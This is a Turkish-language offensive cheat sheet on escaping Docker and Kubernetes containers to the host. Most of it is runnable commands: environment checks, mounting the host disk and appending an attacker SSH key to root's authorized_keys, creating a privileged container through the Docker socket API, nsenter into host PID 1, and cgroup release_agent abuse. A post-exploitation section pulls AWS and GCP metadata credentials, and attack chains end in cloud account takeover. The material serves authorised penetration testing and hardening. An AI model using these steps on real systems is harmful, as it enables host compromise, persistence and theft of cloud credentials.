Container Escape

container escape

Container escape, bir konteyner içinden host işletim sistemine çıkmaktır (T1611). Konteynerler izolasyon sınırı sunsa da; yanlış yapılandırma (–privileged, tehlikeli mount, fazladan capability) veya runtime/çekirdek CVE’leri bu sınırı kaldırır. K8s’te aynı teknikler pod→node için geçerlidir.

Ön koşullar

- Konteyner içinde shell (RCE)
- Mümkünse: capsh, mount, fdisk, curl, gcc/python
- Hedef: host FS yazma, host PID, Docker API, veya CVE

Ortamı tanı

ls -la /.dockerenv 2>/dev/null

cat /proc/1/cgroup

cat /proc/1/environ | tr '\0' '\n' | head

hostname; id; uname -a

capsh --print 2>/dev/null

cat /proc/self/status | grep -i Cap

cat /proc/1/status | grep Seccomp

aa-status 2>/dev/null; ls -la /sys/kernel/security/

mount | column -t

cat /proc/mounts

df -h

ls -la /dev

ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null

CapEff yüksek + /dev/sd* görünür     → privileged veya geniş device
/host veya /var/lib/docker mount     → host FS
docker.sock                          → API ile yeni privileged konteyner
hostPID /proc/1 gerçek init          → nsenter adayı

Klasik kaçış yolları

--privileged                 → tüm capability + host devices → disk mount
-v /:/host                   → host FS (ssh key, crontab, /etc/shadow)
-v /var/run/docker.sock      → Docker API → privileged sibling
CAP_SYS_ADMIN                → mount, cgroup release_agent
CAP_SYS_PTRACE + hostPID     → host süreçlerine enjeksiyon
CAP_DAC_READ_SEARCH          → host dosya okuma (bazı teknikler)
Writable cgroup              → release_agent
Çekirdek/runtime CVE         → runc CVE-2019-5736, Dirty Pipe, OverlayFS...

Kaçış adımları

Privileged / host mount — –privileged veya host yolu mount varsa host diskini bul ve yaz:
Terminal window
```
fdisk -l
```
Terminal window
```
mkdir /mnt/host
```
Terminal window
```
mount /dev/sda1 /mnt/host   # cihaza göre
```
Terminal window
```
echo 'ssh-rsa AAAA...' >> /mnt/host/root/.ssh/authorized_keys
```
Terminal window
```
chroot /host bash
```

docker.sock — soket mount’luysa Docker API ile ayrıcalıklı konteyner:

docker run -it --privileged -v /:/host alpine chroot /host bash

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

curl -s --unix-socket /var/run/docker.sock \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["sleep","1d"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

CAP_SYS_ADMIN → cgroup release_agent — writable cgroup ile host’ta komut (klasik notify_on_release / release_agent PoC). cdk run exploit veya bilinen PoC akışı.

hostPID + privileged → nsenter :

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Runtime CVE — runc/containerd/kernel sürümünü kontrol et; bilinen escape CVE’lerini (kapsam ve izin dahilinde) dene.

release_agent (özet akış)

dmesg | head

cat /sys/fs/cgroup/*/release_agent 2>/dev/null

Tehlikeli mount örnekleri

/var/run/docker.sock

/var/run/containerd/containerd.sock

/:/host, /etc, /root, /home

/proc (özellikle procfs yazılabilir yanlış config)

/sys (cgroup yazma)

Payload sonrası

cat /etc/hostname /etc/machine-id

ls /root/.ssh /home/*/.ssh

crontab -l; ls /etc/cron*

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Saldırı zinciri

App RCE in Docker
  → docker.sock mounted
  → privileged -v /:/host
  → host root + IMDS keys
  → cloud account

K8s pod (CAP_SYS_ADMIN)
  → release_agent / hostPath
  → node root
  → kubelet creds / cloud SA